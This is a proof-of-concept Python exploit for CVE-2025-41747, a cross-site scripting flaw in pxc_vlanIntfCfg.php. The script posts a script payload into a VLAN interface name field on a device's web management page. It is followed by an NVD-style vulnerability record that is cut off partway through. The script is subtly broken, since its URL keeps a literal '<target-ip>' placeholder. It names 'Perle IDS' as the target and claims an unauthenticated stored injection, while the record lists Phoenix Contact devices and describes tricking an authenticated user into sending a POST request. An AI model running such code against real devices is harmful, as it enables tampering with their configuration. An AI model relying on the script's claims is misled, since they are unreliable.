CVE-2025-41747

import requests import sys # CVE-2025-41747 PoC - Stored XSS in pxc_vlanIntfCfg.php # Target: Perle IDS WBM (Web Based Management) TARGET_URL = "http://<target-ip>/pxc_vlanIntfCfg.php" XSS_PAYLOAD = '<script>alert("XSS")</script>' def exploit(target_ip): """ Exploit for CVE-2025-41747: Stored XSS in VLAN interface configuration This PoC demonstrates how an unauthenticated attacker can inject XSS payload through the VLAN interface configuration parameter. """ headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Malicious POST data with XSS payload in VLAN interface parameter data = { 'vlanIntfName': XSS_PAYLOAD, 'vlanId': '100', 'action': 'save' } try: response = requests.post(TARGET_URL, data=data, headers=headers, timeout=10) print(f'[+] Payload sent to {target_ip}') print(f'[+] Status code: {response.status_code}') print('[+] XSS payload injected in VLAN interface configuration') print('[+] When admin visits the page, the script will execute') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) != 2: print(f'Usage: python {sys.argv[0]} <target-ip>') sys.exit(1) exploit(sys.argv[1])

{"cve": {"id": "CVE-2025-41747", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:49.827", "lastModified": "2025-12-19T16:46:06.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An XSS vulnerability in pxc_vlanIntfCfg.php can be used by an unauthenticated remote attacker to trick an authenticated user to send a manipulated POST request to the device in order to change parameters available via web based management (WBM). The vulnerability does not provide access to system-level resources such as operating system internals or privileged functions. Access is limited to device configuration parameters that are available in the context of the web application. The session cookie is secured by the httpOnly Flag. Therefore an attacker is not able to take over the session of an authenticated user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_nat_2008_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "6A9FE2C7-C862-4EC7-933A-0F3E4E100444"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_nat_2008:-:*:*:*:*:*:*:*", "matchCriteriaId": "A03AD87F-AA1C-48EA-AC10-B5F20C3064F1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_nat_2208_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "A66309AE-7374-41A9-8281-68A0CDC437E1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_nat_2208:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2713DED-10BE-48AA-8CF0-764A3DD6A4E9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_nat_2304-2gc-2sfp_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "C49972CF-8229-42AD-BF96-A05C13119FBB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_nat_2304-2gc-2sfp:-:*:*:*:*:*:*:*", "matchCriteriaId": "C95847FA-DDAD-4753-B7F3-D67149DA639D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2005_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "96F33480-DC6D-4B9E-918F-BDC910146F4A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2005:-:*:*:*:*:*:*:*", "matchCriteriaId": "7BE280FC-2A01-4B82-B954-91B86A4D7462"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2008_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "9773B1E5-62B1-44EB-B8DD-A2E45BF9D930"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2008:-:*:*:*:*:*:*:*", "matchCriteriaId": "322DF000-6060-4E37-A91F-0EF0D0A0E909"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2008f_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "DBFA9AC1-51A3-4516-81E9-8044EFB9E436"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2008f:-:*:*:*:*:*:*:*", "matchCriteriaId": "8D3F1820-AF71-4D9A-BC63-1B886C739FD0"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_2016_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.50", "matchCriteriaId": "E2224C43-207D-4E66-96CE-7994EA2F0C6B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:phoenixcontact:fl_switch_2016:-:*:*:*:*:*:*:*", "matchCriteriaId": "5C4DFBF9-2A05-4888-B457-E29617B74C95"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:phoenixcontact:fl_switch_ ... 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